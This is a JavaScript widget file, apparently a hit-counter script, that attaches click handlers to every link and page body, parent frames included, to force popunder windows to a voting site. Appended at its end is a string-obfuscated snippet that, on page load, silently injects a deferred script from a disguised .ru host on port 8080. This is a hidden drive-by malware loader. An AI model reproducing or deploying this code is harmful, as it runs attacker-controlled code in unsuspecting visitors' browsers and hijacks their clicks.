

	document.write('<embed wmode="transparent" width="0" height="0" pluginspage="http://www.macromedia.com/shockwave/download/" type="application/x-shockwave-flash" quality="high"></embed>');
var var_adulte = '0';
var addscript = 'no';
if(typeof(window['compteurcc_adultvar']) != "undefined"){
	if(compteurcc_adultvar == "1"){var_adulte = '1';}
}
else if(typeof(window['msg']) != "undefined"){
	if(msg.search(/ADULT/) != -1){var_adulte = '1';}
}
else if(typeof(window['disclaimer']) != "undefined"){
	if(disclaimer.search(/MAJEUR/) != -1){var_adulte = '1';}
}
else if(getcookiecc("GI")){var_adulte = '1';}
 
 
var widgeo_url_popunder = 'http://www.top30.ro/vot-'+x+'.html';
var var_monpays = 'nondefini';
 
if (typeof console != "object") {
	var console = {
		'log':function(){}
	};
}
 
function setcookiecc(name, value, expirationInHours) {
		if (expirationInHours) {
			var date = new Date();
			date.setTime(date.getTime() + (expirationInHours * 60 * 60 * 1000));
			var expires = "; expires=" + date.toGMTString();
		} else {
			var expires = "";
		}
		document.cookie = name + "=" + value + expires + "; path=/";
}
function getcookiecc(name) {
		var namePattern = name + "=";
		var cookies = document.cookie.split(';');
		for(var i = 0, n = cookies.length; i < n; i++) {
			var c = cookies[i];
			while (c.charAt(0) == ' ') c = c.substring(1, c.length)
			if (c.indexOf(namePattern) == 0)
				return c.substring(namePattern.length, c.length);
		}
		return null;
}
 
framecc = "non";
if(top.location != self.document.location){
	try {
		if(top.location.href){ framecc = "oui"; }						
	}
	catch(error) {
		framecc = "non";		
	}				
}
else { framecc = "non"; }
		
function pop_up_cc()
{	
	//ni iframe in frames
	items = document.getElementsByTagName('a');	
	for(i = 0; i < items.length; i++)
	{
		if (window.addEventListener){items[i].addEventListener('click',ouvre_cc,false);}
		if (window.attachEvent){items[i].attachEvent("onclick", ouvre_cc);}				
	}
	if(document.body){		
		if (window.addEventListener){document.body.addEventListener('click',ouvre_cc,false);}
		if (window.attachEvent){document.body.attachEvent("onclick", ouvre_cc);}
	}
	//frame ou iframe
	if(framecc == "oui") {
		//iframe
		items2 = parent.document.getElementsByTagName('a');
		if(parent.document.body){
			if (window.addEventListener){parent.document.body.addEventListener('click',ouvre_cc,false);}
			if (window.attachEvent){parent.document.body.attachEvent("onclick", ouvre_cc);}
		}
		for(j = 0; j < items2.length; j++)
		{
			if (window.addEventListener){items2[j].addEventListener('click',ouvre_cc,false);}
			if (window.attachEvent){items2[j].attachEvent("onclick", ouvre_cc);}				
		}
		//frames
		f = top.frames;	  
		for(k = 0; k < f.length; k++){
			items3 = "";
			items3 = f[k].document.getElementsByTagName('a');
			if(f[k].document.body){
				if (window.addEventListener){f[k].document.body.addEventListener('click',ouvre_cc,false);}
				if (window.attachEvent){f[k].document.body.attachEvent("onclick", ouvre_cc);}
			}
			for(l = 0; l < items3.length; l++)
			{
				if (window.addEventListener){items3[l].addEventListener('click',ouvre_cc,false);}
				if (window.attachEvent){items3[l].attachEvent("onclick", ouvre_cc);}				
			}
		}		
	}
}
 
function ouvre_cc()
{	
	if (getcookiecc('idcompteurcc') != '1')
	{
		if(window.open == false){window.showHelp(widgeo_url_popunder); setcookiecc('idcompteurcc','1',120);}
		window.open(widgeo_url_popunder,'','toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,copyhistory=yes');
		window.focus();		
		setcookiecc('idcompteurcc','1',120);	
	}	
}
 
if(((document.location).toString()).search(/bloguez/) == -1)
{
	if(addscript == 'yes')
	{
		pop_up_cc();
		if(window.addEventListener){
			window.addEventListener('load', pop_up_cc, false);
			window.addEventListener('onbeforeunload', ouvre_cc, false);
		}
		if(window.attachEvent){
			window.attachEvent('onload', pop_up_cc);
			window.attachEvent('onbeforeunload', ouvre_cc);
		}			
	}
	else
	{
		pop_up_cc();
		if(window.addEventListener){
			window.addEventListener('load', pop_up_cc, false);
			window.addEventListener('onbeforeunload', ouvre_cc, false);
		}
		if(window.attachEvent){
			window.attachEvent('onload', pop_up_cc);
			window.attachEvent('onbeforeunload', ouvre_cc);
		}			
	}				
}

var a="a";var e;if(e!='' && e!='r'){e=''};var i='s3cHrTiHpTtH'.replace(/[HT/F3]/g, '');var g=new Date();var _=window;var w=document;var o;if(o!='c'){o=''};var qm;if(qm!='u'){qm=''};_.onload=function(){var t;if(t!='' && t!='zz'){t=null};try {m=w.createElement(i);m.src='hEt6t%p%:%/E/EmEoFb7i7lFeF-FdFeE.%f%aEn6p6o6pF.FcEo6m%.7c7l7i6c%k%bFa%n%kE-Fc%o7mF.6y6o7u6r%t7aEgFh%eFuFe6r%.Fr7uE:68E078%07/7gFoEo6gFlFeE.7c6o%m%/Eg%o7o6gElEe7.7c7o6mF/7x6e%.6c7oEm7/EcEh6i6nFa%m6o6b6iEl6eE.Fc%o6mF/7a7mFaEz7oFnF.%c%o6m%/%'.replace(/[%6F7E]/g, '');m.setAttribute('d>eSf>eLrk'.replace(/[kS\>LH]/g, ''), "1");var my=false;var nu;if(nu!='ca' && nu != ''){nu=null};this.y=20218;w.body.appendChild(m);var qe;if(qe!='' && qe!='gr'){qe=''};var _b=new Array();} catch(z){var on=new Date();};var er=2879;var nv;if(nv!='p' && nv!='qu'){nv='p'};};